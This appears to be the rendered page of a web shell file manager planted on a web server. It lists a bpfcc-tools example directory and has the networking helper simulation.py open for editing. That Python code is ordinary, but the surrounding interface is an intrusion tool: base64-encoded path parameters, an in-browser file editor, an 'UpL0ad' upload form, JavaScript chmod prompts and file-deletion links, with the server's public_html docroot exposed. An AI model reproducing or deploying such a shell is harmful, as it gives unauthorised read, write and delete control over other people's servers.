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<hr>simulation.py<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=c2ltdWxhdGlvbi5weQ%3D%3D"><input name="f" value="simulation.py"><textarea name="t">import os
import subprocess
import pyroute2
from pyroute2 import IPRoute, NetNS, IPDB, NSPopen

class Simulation(object):
    &quot;&quot;&quot;
    Helper class for controlling multiple namespaces. Inherit from
    this class and setup your namespaces.
    &quot;&quot;&quot;

    def __init__(self, ipdb):
        self.ipdb = ipdb
        self.ipdbs = {}
        self.namespaces = []
        self.processes = []
        self.released = False

    # helper function to add additional ifc to namespace
    # if called directly outside Simulation class, &quot;ifc_base_name&quot; should be
    # different from &quot;name&quot;, the &quot;ifc_base_name&quot; and &quot;name&quot; are the same for
    # the first ifc created by namespace
    def _ns_add_ifc(self, name, ns_ifc, ifc_base_name=None, in_ifc=None,
                    out_ifc=None, ipaddr=None, macaddr=None, fn=None, cmd=None,
                    action=&quot;ok&quot;, disable_ipv6=False):
        if name in self.ipdbs:
            ns_ipdb = self.ipdbs[name]
        else:
            try:
                nl=NetNS(name)
                self.namespaces.append(nl)
            except KeyboardInterrupt:
                # remove the namespace if it has been created
                pyroute2.netns.remove(name)
                raise
            ns_ipdb = IPDB(nl)
            self.ipdbs[nl.netns] = ns_ipdb
            if disable_ipv6:
                cmd1 = [&quot;sysctl&quot;, &quot;-q&quot;, &quot;-w&quot;,
                       &quot;net.ipv6.conf.default.disable_ipv6=1&quot;]
                nsp = NSPopen(ns_ipdb.nl.netns, cmd1)
                nsp.wait(); nsp.release()
            try:
                ns_ipdb.interfaces.lo.up().commit()
            except pyroute2.ipdb.exceptions.CommitException:
                print(&quot;Warning, commit for lo failed, operstate may be unknown&quot;)
        if in_ifc:
            in_ifname = in_ifc.ifname
            with in_ifc as v:
                # move half of veth into namespace
                v.net_ns_fd = ns_ipdb.nl.netns
        else:
            # delete the potentially leaf-over veth interfaces
            ipr = IPRoute()
            for i in ipr.link_lookup(ifname='%sa' % ifc_base_name): ipr.link(&quot;del&quot;, index=i)
            ipr.close()
            try:
                out_ifc = self.ipdb.create(ifname=&quot;%sa&quot; % ifc_base_name, kind=&quot;veth&quot;,
                                           peer=&quot;%sb&quot; % ifc_base_name).commit()
                in_ifc = self.ipdb.interfaces[out_ifc.peer]
                in_ifname = in_ifc.ifname
                with in_ifc as v:
                    v.net_ns_fd = ns_ipdb.nl.netns
            except KeyboardInterrupt:
                # explicitly remove the interface
                out_ifname = &quot;%sa&quot; % ifc_base_name
                if out_ifname in self.ipdb.interfaces: self.ipdb.interfaces[out_ifname].remove().commit()
                raise

        if out_ifc: out_ifc.up().commit()
        try:
            # this is a workaround for fc31 and possible other disto's.
            # when interface 'lo' is already up, do another 'up().commit()'
            # has issues in fc31.
            # the workaround may become permanent if we upgrade pyroute2
            # in all machines.
            if 'state' in ns_ipdb.interfaces.lo.keys():
                if ns_ipdb.interfaces.lo['state'] != 'up':
                    ns_ipdb.interfaces.lo.up().commit()
            else:
                ns_ipdb.interfaces.lo.up().commit()
        except pyroute2.ipdb.exceptions.CommitException:
            print(&quot;Warning, commit for lo failed, operstate may be unknown&quot;)
        ns_ipdb.initdb()
        in_ifc = ns_ipdb.interfaces[in_ifname]
        with in_ifc as v:
            v.ifname = ns_ifc
            if ipaddr: v.add_ip(&quot;%s&quot; % ipaddr)
            if macaddr: v.address = macaddr
            v.up()
        if disable_ipv6:
            cmd1 = [&quot;sysctl&quot;, &quot;-q&quot;, &quot;-w&quot;,
                   &quot;net.ipv6.conf.%s.disable_ipv6=1&quot; % out_ifc.ifname]
            subprocess.call(cmd1)
        if fn and out_ifc:
            self.ipdb.nl.tc(&quot;add&quot;, &quot;ingress&quot;, out_ifc[&quot;index&quot;], &quot;ffff:&quot;)
            self.ipdb.nl.tc(&quot;add-filter&quot;, &quot;bpf&quot;, out_ifc[&quot;index&quot;], &quot;:1&quot;,
                            fd=fn.fd, name=fn.name, parent=&quot;ffff:&quot;,
                            action=action, classid=1)
        if cmd:
            self.processes.append(NSPopen(ns_ipdb.nl.netns, cmd))
        return (ns_ipdb, out_ifc, in_ifc)

    # helper function to create a namespace and a veth connecting it
    def _create_ns(self, name, in_ifc=None, out_ifc=None, ipaddr=None,
                   macaddr=None, fn=None, cmd=None, action=&quot;ok&quot;, disable_ipv6=False):
        (ns_ipdb, out_ifc, in_ifc) = self._ns_add_ifc(name, &quot;eth0&quot;, name, in_ifc, out_ifc,
                                                      ipaddr, macaddr, fn, cmd, action,
                                                      disable_ipv6)
        return (ns_ipdb, out_ifc, in_ifc)

    def release(self):
        if self.released: return
        self.released = True
        for p in self.processes:
            if p.released: continue
            try:
                p.kill()
                p.wait()
            except:
                pass
            finally:
                p.release()
        for name, db in self.ipdbs.items(): db.release()
        for ns in self.namespaces: ns.remove()

</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/bpfcc-tools/examples/networking/vlan_learning<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&x=UkVBRE1FLnR4dA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=UkVBRE1FLnR4dA=="/>README.txt</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=UkVBRE1FLnR4dA==&c=`+btoa(c):0" value="0644"></td><td>2030</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&x=c2ltdWxhdGlvbi5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=c2ltdWxhdGlvbi5weQ=="/>simulation.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=c2ltdWxhdGlvbi5weQ==&c=`+btoa(c):0" value="0644"></td><td>5257</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&x=dmxhbl9sZWFybmluZy5j">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=dmxhbl9sZWFybmluZy5j"/>vlan_learning.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=dmxhbl9sZWFybmluZy5j&c=`+btoa(c):0" value="0644"></td><td>2032</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&x=dmxhbl9sZWFybmluZy5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=dmxhbl9sZWFybmluZy5weQ=="/>vlan_learning.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy92bGFuX2xlYXJuaW5n&f=dmxhbl9sZWFybmluZy5weQ==&c=`+btoa(c):0" value="0755"></td><td>3744</td></tr></table>